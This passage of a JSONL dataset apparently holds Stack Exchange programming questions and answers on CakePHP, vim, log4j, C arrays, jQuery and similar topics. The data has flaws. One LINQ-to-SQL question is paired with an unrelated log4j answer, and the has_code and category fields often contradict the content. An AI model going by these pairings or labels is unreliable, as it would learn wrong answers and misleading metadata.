10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:46.094230"}
{"id": "hf_b6d687a62444", "question": "<p>In CakePHP putting a querystring in the url doesn't cause it to be automatically parsed and split like it normally is when the controller is directly invoked. </p>\n\n<p>For example:</p>\n\n<pre><code>$this-&gt;testAction('/testing/post?company=utCompany', array('return' =&gt; 'vars')) ;\n</code></pre>\n\n<p>will result in:</p>\n\n<pre><code>[url] =&gt; /testing/post?company=utCompany\n</code></pre>\n\n<p>While invoking the url directly via the web browser results in:</p>\n\n<pre><code>[url] =&gt; Array\n    (\n        [url] =&gt; testing/post\n        [company] =&gt; utCompany\n    )\n</code></pre>\n\n<p>Without editing the CakePHP source, is there some way to have the querystring split when running unit tests?</p>\n", "question_body": "", "answer": "I have what is either a hack (i.e. may not work for future CakePHP releases) or an undocumented feature.\nIf the second testAction parameter includes an named array called 'url' then the values will be placed in the $this->params object in the controller. This gives us the same net result as when the controller is directly invoked.\n```\n```\n$data = array ('company' => 'utCompany') ;\n\n$result = $this->testAction('/testing/post', array\n(\n    'return' => 'vars', \n    'method' => 'get', \n    'url' => $data)\n) ;\n```\n```\nI'm satisfied with this method for what I need to do. I'll open the question to the community shortly so that it in the future a better answer can be provided.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:46.190367"}
{"id": "hf_09c22e9b89bc", "question": "<p>When indenting java code with annotations, vim insists on indenting like this:</p>\n\n<pre><code>@Test\n    public void ...\n</code></pre>\n\n<p>I want the annotation to be in the same column as the method definition but I can't seem to find a way to tell vim to do that, except maybe using an indent expression but I'm not sure if I can use that together with regular cindent.</p>\n\n<p>edit: The filetype plugin was already turned on I just got a bit confused about indenting plugins. The accepted answer may be a bit hackish but works for me as well.</p>\n", "question_body": "", "answer": "Edit: I cannot delete my own answer because it has already been accepted, but\n@pydave's answer\nseems to be the better (more robust) solution.\nYou should probably be using the indentation file for the java FileType (instead of using cindent) by setting\n```\nfiletype plugin indent on\n```\n.\nThat said, the indentation file coming with the Vim 7.1 from my linux distribution (looking at the current vim svn this is still true for 7.2) doesn't account for annotations yet. I therefore copied\n```\n/usr/share/vim/vim71/indent/java.vim\n```\n(see\nhttps://vim.svn.sourceforge.net/svnroot/vim/branches/vim7.1/runtime/indent/java.vim\n) to\n```\n~/.vim/indent/java.vim\n```\nand added the following lines right before the end:\n```\n```\nlet lnum = prevnonblank(v:lnum - 1)\nlet line = getline(lnum)\nif line =~ '^\\s*@.*$'\n    let theIndent = indent(lnum)\nendif\n```\n```\nI'm not sure if this breaks any of the other indentations, but it works for me.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:46.214435"}
{"id": "hf_53068db77faa", "question": "<p>I am using tinyMCE as my text editor on my site and i want to reformat the text before saving it to my database (changing the &amp;rsquo; tags into ' then in to &amp;#39;). I cannot find a simple way of doing this using tinyMCe and using htmlentities() changes everything including &lt;>. Any ideas?</p>\n", "question_body": "", "answer": "You can user\n```\nstrip_tags($str, $allowed_tags)\n```\nlike below:\n```\n```\n$txt = strip_tags($txt, '<p><a><br>');\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:46.242100"}
{"id": "hf_9ae1e2a407ba", "question": "<p>I am using Installshield 2008 Developer Edition and need to run SQL scripts against an existing SQL Server 2005 Express. When I do this without InstallShield, I would have to have some ODBC drivers installed for example. </p>\n\n<p>How does InstallShield do this? Does it include some sort of driver? Or does it depend on preexisting drivers?</p>\n", "question_body": "", "answer": "If you are having the database installed by Installshield as part of your installation, Installshield has all the information to simply use a connection string like this:\n\"Driver={SQL Native Client};Server=localhost;Database=newdatabase;Uid=proguser;Pwd=progpass;\"\nThere is no need to create an ODBC connection to use a connection string like this, and Installshield makes the SQL Native Client a prerequisite  for SQL 2005 connected databases, so it is assured of having the correct driver available.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:46.316777"}
{"id": "hf_ef36549a16f0", "question": "<p>its out of question that a dao will not hold any state.</p>\n\n<p>however, for easiest access to the class, is it better to use prototype( = new every time) or singleton?</p>\n\n<p>simple object creation is cheap for dao's.. it typically only holds a sessionfactory,\naccessing the object from a list of singletons may be equally expensive. </p>\n\n<p>clarfication: the focus of this question is, if there is a common convention to the scoping of daos.</p>\n", "question_body": "", "answer": "If your question is about\narchitecture\n, I'd go with scoping DAOs to the\nUnit of Work\nor Transaction you are doing. This\nreduces\nthe potential for\ncross-transaction pollution\nand\nthreading-issues\n.\nIf your question is about\nperformance\n, then the answer lies within a\nprofiler\n, which gives you\naccurate\nnumbers for your particular\nworkload\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:46.379191"}
{"id": "hf_7fca36a2975a", "question": "<p>Context:\n  So, I am attempting to build a ridiculously complex domain model.  Talking with the users, there are multiple ways the system will be used (For example: one way is from the perspective of the employee; another way is from the perspective of the employer).  In actuality, they are multiple applications reusing the core domain.</p>\n\n<p>Question:\n  Is it wrong to create the domain from multiple perspectives?  For instance, to build the domain as the business is run would mean creating all kinds of relationship classes that carry extra information about the entity and so on...  However, when running from a particular perspective, the picture is much clearer because most of the relationship classes can be rolled into their parent entity.</p>\n\n<p>Ideas? Rebuttals? Am I completely off-base?</p>\n", "question_body": "", "answer": "I don't think you should try and predefine the 'core domain' up front. Let it emerge over the development process. Additionally, anything that is not common to the 2 (or more) perspectives should not be in the 'core'.\nFor instance, build a portion of the system from the employeer perspective. This might prompt you to create entities like 'Project', 'Task', and 'Customer'. Then build a portion from the employeer perspective. This might prompt you to build new entities, and to reuse 'Project' and 'Task'. That's when I'd move 'Project' and 'Task' to the 'core library' shared by the rest of the system.\nSometimes you'll find common entities, but related in different ways. In that case the relationship should be injected by the context instead of being built-in with the entities themselves.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:46.414917"}
{"id": "hf_dd913daa6ad3", "question": "<p>A beginner question, bear with me: I'm just wondering under what circumstances one should use a build tool like nant or msbuild? I'm working on a medium sized application (.net 3.0), every developer is doing his work and builds on his machine checking his code changes into the repository as he goes. Once we're all done, I'll get all the code from the repository, make a clean build on my machine and we deploy the binaries. Just out of curiosity, where comes the build tool in?</p>\n", "question_body": "", "answer": "The short answer is always.\nEach developer should be building using the build script before checking code in. The people building the release should be using the build script to build the release. Your buildbots should be using the build script to build and test the code that's been checked in.\nDoing this allows all the developers, testers and buildbots to have a consistent, repeatable build. After all,\nThe F5 Key Is Not a Build Process\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:46.450787"}
{"id": "hf_8d8dab462d48", "question": "<p>I have deployed ASP.NET web site and ASP.NET web service on the same web server. Both of them require access to shared file. </p>\n\n<p>How to implement/share lock that supports single writers and multiple readers? If somebody reads, nobody can write, but all still can read. If somebody writes, nobody can read/write.</p>\n", "question_body": "", "answer": "to open file for writing with allowing other threads to read it use System.IO.File.Open method with System.IO.FileShare.Read. Ie.:\n```\n```\nSystem.IO.File.Open(\"path.txt\",System.IO.FileMode.OpenOrCreate,System.IO.FileAccess.ReadWrite,System.IO.FileShare.Read)\n```\n```\nOther (reading) threads should use System.IO.FileAccess.Read\nSignature of Open method:\n```\n```\npublic static FileStream Open(string path, FileMode mode, FileAccess access, FileShare share);\n```\n```\nUPDATE \nIf you need all instances to ocasionally write to file. Use Mutex class to reserve file writing. Ie.:\n```\n```\nMutex mut = new Mutex(\"filename as mutex name\");\n    mut.WaitOne();\n    //open file for write, \n    //write to file\n    //close file\n    mut.ReleaseMutex();\n```\n```\nHope it helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:46.475039"}
{"id": "hf_95734deb944b", "question": "<p>I have an application which uses a UDL file where the connection string specifies \"Provider=SQLNCLI.1\" which doesn't work on a specific machine because sqlncli.dll is not installed.</p>\n\n<p>Another .Net app however, where the connection string is in app.config and does not specifically show the provider does worrk. The \"Change Data Source\" dialog in Visual Studio shows data provider as \".NET Framework Data Provider for SQL Server\". This app works, even though sqlncli.dll is not installed.</p>\n\n<p>Why?  What provider is it using? Does it somehow fall back to sqloledb.dll?</p>\n", "question_body": "", "answer": "The SQL Server Native client is an independent data access API that was introduced in SQL Server 2005.\nFrom MSDN\nIt also provides new functionality\n  above and beyond that supplied by the\n  Windows Data Access Components\n  (Windows DAC, formerly Microsoft Data\n  Access Components, or MDAC). SQL\n  Server Native Client can be used to\n  create new applications or enhance\n  existing applications that need to\n  take advantage of features introduced\n  in SQL Server 2005, such as multiple\n  active result sets (MARS),\n  user-defined data types (UDT), query\n  notifications, snapshot isolation, and\n  XML data type support.\nRead more about it and how it compares to MDAC/WDAC which is used by the ADO.Net SQL Server providers\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:46.499116"}
{"id": "hf_45cb901ddd6b", "question": "<p>I ran accross a CSR file (Certificate Signing Request) and I need to extract some information from it.</p>\n\n<p>There's a way to decode it using .NET Framework?</p>\n", "question_body": "", "answer": "It's not .NET, but for interactive use, try the OpenSSL utilities. Specifically:\n```\n```\nopenssl req -text -in request.csr\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:46.523427"}
{"id": "hf_8f7f7e8452af", "question": "<p>What's the easiest way to remove last row from the text file using SQL Server Integration Services?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Because SSIS is pipeline based, there's no good way to look ahead and know that a line is the last line.\nHowever, depending on your actual goal, there are a number of ways to achieve this:\nIf the last row has some identifying\ninformation, it can simply be\nfiltered out using the built-in\nfilter component.\nYou can create a custom component\nwhich does buffer the pipeline a\nlittle and leaves off the last row.\nYou can add a row counter, output\nthe file to a raw file and then read\nthe raw file, excluding the last row\nusing a filter", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:46.559191"}
{"id": "hf_ba69c026e67d", "question": "<p>ASP.NET ASMX service occasionally throws exceptions. However, global.asax Application_Error method do not seem to catch them. The question is, how to configure global error handler to catch and log these exceptions?</p>\n", "question_body": "", "answer": "Is it the ASMX or the AJAX JavaScript which is throwing the exception?\nIf it's the Javascript, you'll need to write exception handling into your JS, and then push that back to the server to be tracked in your error datastore--possibly via another call to your webservice.\nIf it's the ASMX then it's probably getting caught by your Application_Error, BUT as ASMX returns XML or JSON it won't necessarily get displayed on your UI unless you're looking for it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:46.596422"}
{"id": "hf_289e31328a48", "question": "<p>I have a large array in <strong>C</strong> (not <strong>C++</strong> if that makes a difference). I want to initialize all members of the same value.</p>\n\n<p>I could swear I once knew a simple way to do this. I could use <code>memset()</code> in my case, but isn't there a way to do this that is built right into the C syntax?</p>\n", "question_body": "", "answer": "Unless that value is 0 (in which case you can omit some part of the initializer\nand the corresponding elements will be initialized to 0), there's no easy way.\nDon't overlook the obvious solution, though:\n```\n```\nint myArray[10] = { 5, 5, 5, 5, 5, 5, 5, 5, 5, 5 };\n```\n```\nElements with missing values will be initialized to 0:\n```\n```\nint myArray[10] = { 1, 2 }; // initialize to 1,2,0,0,0...\n```\n```\nSo this will initialize all elements to 0:\n```\n```\nint myArray[10] = { 0 }; // all elements 0\n```\n```\nIn C++, an empty initialization list will also initialize every element to 0.\nThis is\nnot allowed\nwith C until C23:\n```\n```\nint myArray[10] = {}; // all elements 0 in C++ and C23\n```\n```\nRemember that objects with static storage duration will initialize to 0 if no\ninitializer is specified:\n```\n```\nstatic int myArray[10]; // all elements 0\n```\n```\nAnd that \"0\" doesn't necessarily mean \"all-bits-zero\", so using the above is\nbetter and more portable than memset(). (Floating point values will be\ninitialized to +0, pointers to null value, etc.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:46.619823"}
{"id": "hf_238694603aa1", "question": "<p>I will be teaching a class sson, and I need to explain what factors should affect your decision of data access technology.\nI am familiar with many data access methods like Typed Data Sets, Linq to SQL, Linq to Entities, .netTiers, LLBLGen, and custom calls with SQL connection objects and command objects. \nSome of my clients will only allow stored procedures to be used, and they will NOT discuss anything else.\nSome of my clients are NOT ready to install .NET 3.5 yet.\nSome clients require a middle web service tier in any web application.\nMost of the time I use Types Data Sets and Custom Web Services, or I use .netTiers with CodeSmith. What else should I be thinking about?</p>\n", "question_body": "", "answer": "One important thing to remember is that a database is not necessarily just a backing data store for an application (in isolation).  Other applications and process could eventually require access to the database, especially in large or “enterprise” databases (or applications) and especially given enough time.\nIt’s important to consider:\nETL/Loads/Migration\nExternal integration/synchronization (BizTalk/SSIS)\nReuse by other applications (particularly web sites, mobile applications etc)\nSecurity/attack surface (is one approach less secure than another?)\nMaintenance tasks\nAvailability  - will the database be in use 24/7?  Is one approach going to provide better availability than another, etc.\nAlso, some design consideration is in order.  Are you tuning for faster selects, or faster writes?  One data access design might perform better than another.\nI’m not stating that there is a single silver bullet, but what I do caution is that any data access design pattern requires “big picture” thought - will it address today's concerns and what you can reasonably predict might be tomorrow's needs?\nAlso, will you be providing an external API or some framework for consistent data access?  Will it be exposed directly or indirectly?\nThere’s a place, I think, for both the Entity Framework/LINQ to SQL, traditional Stored Procedures and other tools like NHibernate (etc), but you should justify and rationalise the choice of technology first, and try to ensure it is appropriate for the present and future needs.\nEDIT: Sorry, I forgot the big one: maintainability.  Some of the template driven solutions offer you some decent wins in being able to regenerate a DAL after schema changes, over others (like hand written stored procedures).  It's worth weighing up the productivity gains vs the disadvantages.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:46.644065"}
{"id": "hf_6562abca9084", "question": "<p>I'm looking for a simple way to grab thumbnails of FLVs in ASP.NET, without having to change any permissions/settings on the server. Ideally, nothing is installed on the server machine, but if necessary, small tools such as FFmpeg are fine.</p>\n\n<p>I've tried FFmpeg using the command-line tool with Process.Start, but the same command that works in a Windows Forms application and from the command prompt does not work in ASP.NET (presumably because of permissions). </p>\n\n<p>I've also tried using TAO.FFmpeg, and it seems to be working most of the time, but fails randomly, and does not start working again until the machine is restarted. Even when I use the sample code (decoder.cs), it sometimes fails when I try to open multiple videos in a single request.</p>\n\n<p>If this isn't possible in a clean/straightforward way, I'm open to other suggestions.</p>\n", "question_body": "", "answer": "If you can embed Flash on a page, the easiest way to show a thumbnail of a FLV is to put a video object on the stage, attach a video to it through a NetStream in actionscript, and then put in an event handler to pause the move immediately after it starts playing.\nFor example, if you have a video object on the stage called \"myVideo\", and you're trying to show a thumbnail of \"someVideo.flv\", try this actionscript (2.0) code,\n```\nvar connection_nc:NetConnection = new NetConnection();\nconnection_nc.connect(null);\nvar stream_ns:NetStream = new NetStream(connection_nc);\nmyVideo.attachVideo(stream_ns);\nstream_ns.play(\"someVideo.flv\");\nstream_ns.seek(0);\n\nstream_ns.onStatus = function(info)\n{\n    if(info.code = \"NetStream.Play.Start\")\n    {\n\n        stream_ns.pause();\n    }\n}\n```\nIn terms of your ASPX talking to your Flash, you could pass the FLV video name to Flash via FlashVars so that your SWF would know what thumbnail to show.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:46.692582"}
{"id": "hf_e879ad3f9503", "question": "<p>I am currently looking for a way to be notified when a child is added to the visual or logical children.</p>\n\n<p>I am aware of the Visual::OnVisualChildrenChanged method, but it does not apply to me since I can't always inherit and override this function.  I am looking for an event.</p>\n\n<p>So, is there a way for the owner of a FrameworkElement/Visual to be notified when a child is added?</p>\n", "question_body": "", "answer": "I believe that\nFrameworkElement.Loaded\nand\nFrameworkElement.Unloaded\nare fired when the control is added to and removed from the Visual Tree, respectively. However, the few times that I was trying to do anything with them I wasn't able to get them to fire consistently (I was using Class Event Handlers at the time, so that might have something to do with it).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:46.741572"}
{"id": "hf_cecd5581a66e", "question": "<p>I feel like a fool, but here goes:</p>\n\n<pre><code>public interface IHasErrorController{\n  ErrorController ErrorController { get; set; }\n}\n\npublic class DSErrorController: ErrorController{yadi yadi ya}\n\npublic class DSWebsiteController : Controller, IHasErrorController{\n    public DSErrorController ErrorController { get; set; }\n}\n</code></pre>\n\n<p>This gives me an error saying DSWebsiteController.ErrorController cannot implement IHasErrorController despite DSErrorController being inheritted from ErrorController.</p>\n\n<p>Also, suggestions for a better naming so that the type ErrorController and the field Errorcontroller don't look the same are welcome (naming is hard).</p>\n", "question_body": "", "answer": "C# (at the moment) has very little [co|contra]variance support; as such, the interface implementation must be an\nexact\nmatch, including the return type. To keep your concreate type on the class API, I would implement the interface explicitly - i.e. add:\n```\n```\nErrorController IHasErrorControlloer.ErrorController {\n  get {return this.ErrorController;}\n  set {this.ErrorController = (DSErrorController)value;}\n}\n```\n```\nAlternatively, simply change the type of the property to\n```\nErrorController\n```\n- this may (or may not) give what you need.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:46.766247"}
{"id": "hf_553bd92ca29e", "question": "<p>A strict equality operator will tell you if two object <strong>types</strong> are equal. However, is there a way to tell if two objects are equal, <strong>much like the hash code</strong> value in Java?</p>\n\n<p>Stack Overflow question <em><a href=\"https://stackoverflow.com/questions/194846\">Is there any kind of hashCode function in JavaScript?</a></em> is similar to this question, but requires a more academic answer. The scenario above demonstrates why it would be necessary to have one, and I'm wondering if there is any <strong>equivalent solution</strong>.</p>\n", "question_body": "", "answer": "Depends on what you mean by equality. And therefore it is up to you, as the developer of the classes, to define their equality.\nThere's one case used sometimes, where two instances are considered 'equal' if they point to the same location in memory, but that is not always what you want. For instance, if I have a Person class, I might want to consider two Person objects 'equal' if they have the same Last Name, First Name, and Social Security Number (even if they point to different locations in memory).\nOn the other hand, we can't simply say that two objects are equal if the value of each of their members is the same, since, sometimes, you don't want that. In other words, for each class, it's up to the class developer to define what members make up the objects 'identity' and develop a proper equality operator (be it via overloading the == operator or an Equals method).\nSaying that two objects are equal if they have the same hash is one way out. However you then have to wonder how the hash is calculated for each instance. Going back to the Person example above, we could use this system if the hash was calculated by looking at the values of the First Name, Last Name, and Social Security Number fields. On top of that, we are then relying on the quality of the hashing method (that's a huge topic on its own, but suffice it to say that not all hashes are created equal, and bad hashing methods can lead to\nmore\ncollisions, which in this case would return false matches).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:46.791521"}
{"id": "hf_7dd9abc2e1a1", "question": "<p>Is it possible to reference system environment variables (as opposed to Java system properties) in a log4j xml configuration file?</p>\n\n<p>I'd like to be able to do something like:</p>\n\n<pre><code>&lt;level value=\"${env.LOG_LEVEL}\" /&gt;\n</code></pre>\n\n<p>and have it get that from the system environment variables, so I can avoid having to pass in so many things with -D parameters.</p>\n", "question_body": "", "answer": "I tried to do that recently and couldn't get it to work. What I ended up doing is sending a variable at startup. So say you have an environment variable called $LOG_LEVEL:\n```\n```\n<level value=\"${log_level}\" />\n```\n```\nand at startup...\n```\n```\njava -Dlog_level=$LOG_LEVEL your_app\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:46.828242"}
{"id": "hf_575e2aeeca13", "question": "<p>We are using Linq To SQL with our own data context logic that executes the one linq query across multiple databases.  When we get the results back, we need the database for each of the rows.  So...</p>\n\n<p>I want to have a property on my class that will return the database name (SQL Server, so DB_NAME()).  How can I do this in Linq To Sql?</p>\n\n<hr>\n\n<p>Dave, thanks for the answer, but we have hundreds of databases and don't want to have to add views if possible.</p>\n", "question_body": "", "answer": "I tried to do that recently and couldn't get it to work. What I ended up doing is sending a variable at startup. So say you have an environment variable called $LOG_LEVEL:\n```\n```\n<level value=\"${log_level}\" />\n```\n```\nand at startup...\n```\n```\njava -Dlog_level=$LOG_LEVEL your_app\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:46.850462"}
{"id": "hf_0fc0f89f2b91", "question": "<p>Using C#, does anyone know how to get the MarshalAsAttribute's Sizeconst value in runtime ?</p>\n\n<p>Eg. I would like to retrieve the value of 10.</p>\n\n<pre><code>[StructLayout[LayoutKind.Sequential, Pack=1]\nClass StructureToMarshalFrom\n{\n    [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)]\n    public byte[] _value1;\n}\n</code></pre>\n", "question_body": "", "answer": "Yup, with reflection:\n```\n```\nFieldInfo field = typeof(StructureToMarshalFrom).GetField(\"_value1\");\nobject[] attributes = field.GetCustomAttributes(typeof(MarshalAsAttribute), false);\nMarshalAsAttribute marshal = (MarshalAsAttribute) attributes[0];\nint sizeConst = marshal.SizeConst;\n```\n```\n(Untested, and obviously lacking rather a lot of error checking, but should work.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:46.947310"}
{"id": "hf_da47de6274c7", "question": "<p>Let's say that I create a Sub (not a function) whose mission in life is to take the active cell (i.e. Selection) and set an adjacent cell to some value.  This works fine.</p>\n\n<p>When you try to convert that Sub to a Function and try to evaluate it from from spreadsheet (i.e. setting it's formula to \"=MyFunction()\")  Excel will bark at the fact that you are trying to affect the value of the non-active cell, and simply force the function to return #VALUE without touching the adjacent cell.</p>\n\n<p>Is it possible to turn off this protective behavior?  If not, what's a good way to get around it?  I am looking for something a competent developer could accomplish over a 1-2 week period, if possible.</p>\n\n<p>Regards,\nAlan.</p>\n\n<p>Note: I am using 2002, so I would favor a solution that would work for that version.  Having that said, if future versions make this significantly easier, I'd like to know about it too.</p>\n", "question_body": "", "answer": "I'm using Excel 2007, and it does not work. Excel mentions it creates a circular reference. I don't think you can alter other cells from a function, just return a value.\nIt's kind of functional programming, no side effects. If you could just alter other cells inside a function (used from a worksheet), then there's no way for Excel to know the order and what to recalculate if a cell changes.\nThis article\nalso contains a lot of information about how Excel does recalculation. But it never states that the other cells are frozen.\nI don't know what you are trying to do, but, why don't you just place another function in the adjacent cell, that takes the first cell as a parameter?\nExample:\n```\n```\nPublic Function Bar(r As Range) As Integer\n  If r.Value = 2 Then\n    Bar = 0\n  Else\n    Bar = 128\n  End If\nEnd Function\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:46.970748"}
{"id": "hf_867c63ba3949", "question": "<p>Microsoft SQL Server and MySQL have an INFORMATION_SCHEMA table that I can query. However it does not exist in an MS Access database.</p>\n\n<p>Is there an equivalent I can use?</p>\n", "question_body": "", "answer": "Getting a list of tables:\n```\n```\nSELECT \n    Table_Name = Name, \nFROM \n    MSysObjects \nWHERE \n    (Left([Name],1)<>\"~\") \n    AND (Left([Name],4) <> \"MSys\") \n    AND ([Type] In (1, 4, 6)) \nORDER BY \n    Name\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:46.993829"}
{"id": "hf_5b2b51777158", "question": "<p>I have a swing application that includes radio buttons on a form. I have the <code>ButtonGroup</code>, however, looking at the available methods, I can't seem to get the name of the selected <code>JRadioButton</code>. Here's what I can tell so far:</p>\n\n<ul>\n<li><p>From ButtonGroup, I can perform a <code>getSelection()</code> to return the <code>ButtonModel</code>. From there, I can perform a <code>getActionCommand</code>, but that doesn't seem to always work.  I tried different tests and got unpredictable results.</p></li>\n<li><p>Also from <code>ButtonGroup</code>, I can get an Enumeration from <code>getElements()</code>.  However, then I would have to loop through each button just to check and see if it is the one selected.</p></li>\n</ul>\n\n<p>Is there an easier way to find out which button has been selected?  I'm programing this in Java 1.3.1 and Swing.</p>\n", "question_body": "", "answer": "I would just loop through your\n```\nJRadioButtons\n```\nand call\n```\nisSelected()\n```\n. If you really want to go from the\n```\nButtonGroup\n```\nyou can only get to the models. You could match the models to the buttons, but then if you have access to the buttons, why not use them directly?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:47.016794"}
{"id": "hf_11ef3d4f045f", "question": "<p>In my javascript experience, I found that is a very common task \"searching the nearest ancestor of an element with some condition (tag name, class,...)\". \nCan the parents() method of jquery do the job? The order of returned elements of parents() is predictable? Is top-to-bottom or bottom-to-top? \nFor the moment I use this utility function:</p>\n\n<pre><code>function ancestor(elem, selector) {\n  var $elem = $( elem ).parent();\n  while( $elem.size() &gt; 0 ) {\n    if( $elem.is( selector ) ) \n    return $elem;\n    else\n       $elem = $elem.parent();\n  }\n  return null;\n}\n</code></pre>\n\n<p>Can someone tell me if there is a clever way to do the job?</p>\n", "question_body": "", "answer": "Edit\n: Since jQuery 1.3, this has been built in as the\n```\nclosest()\n```\nfunction. eg:\n```\n$('#foo').closest('.bar');\n```\nyep - parents() traverses up the tree.\n```\n```\n<div id=\"a\">\n    <div id=\"b\">\n        <p id=\"c\">\n            <a id=\"d\"></a>\n        </p>\n    </div>\n</div>\n```\n```\n```\n$('#d').parents(\"div:first\");\n```\nwill select div b.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:47.064727"}
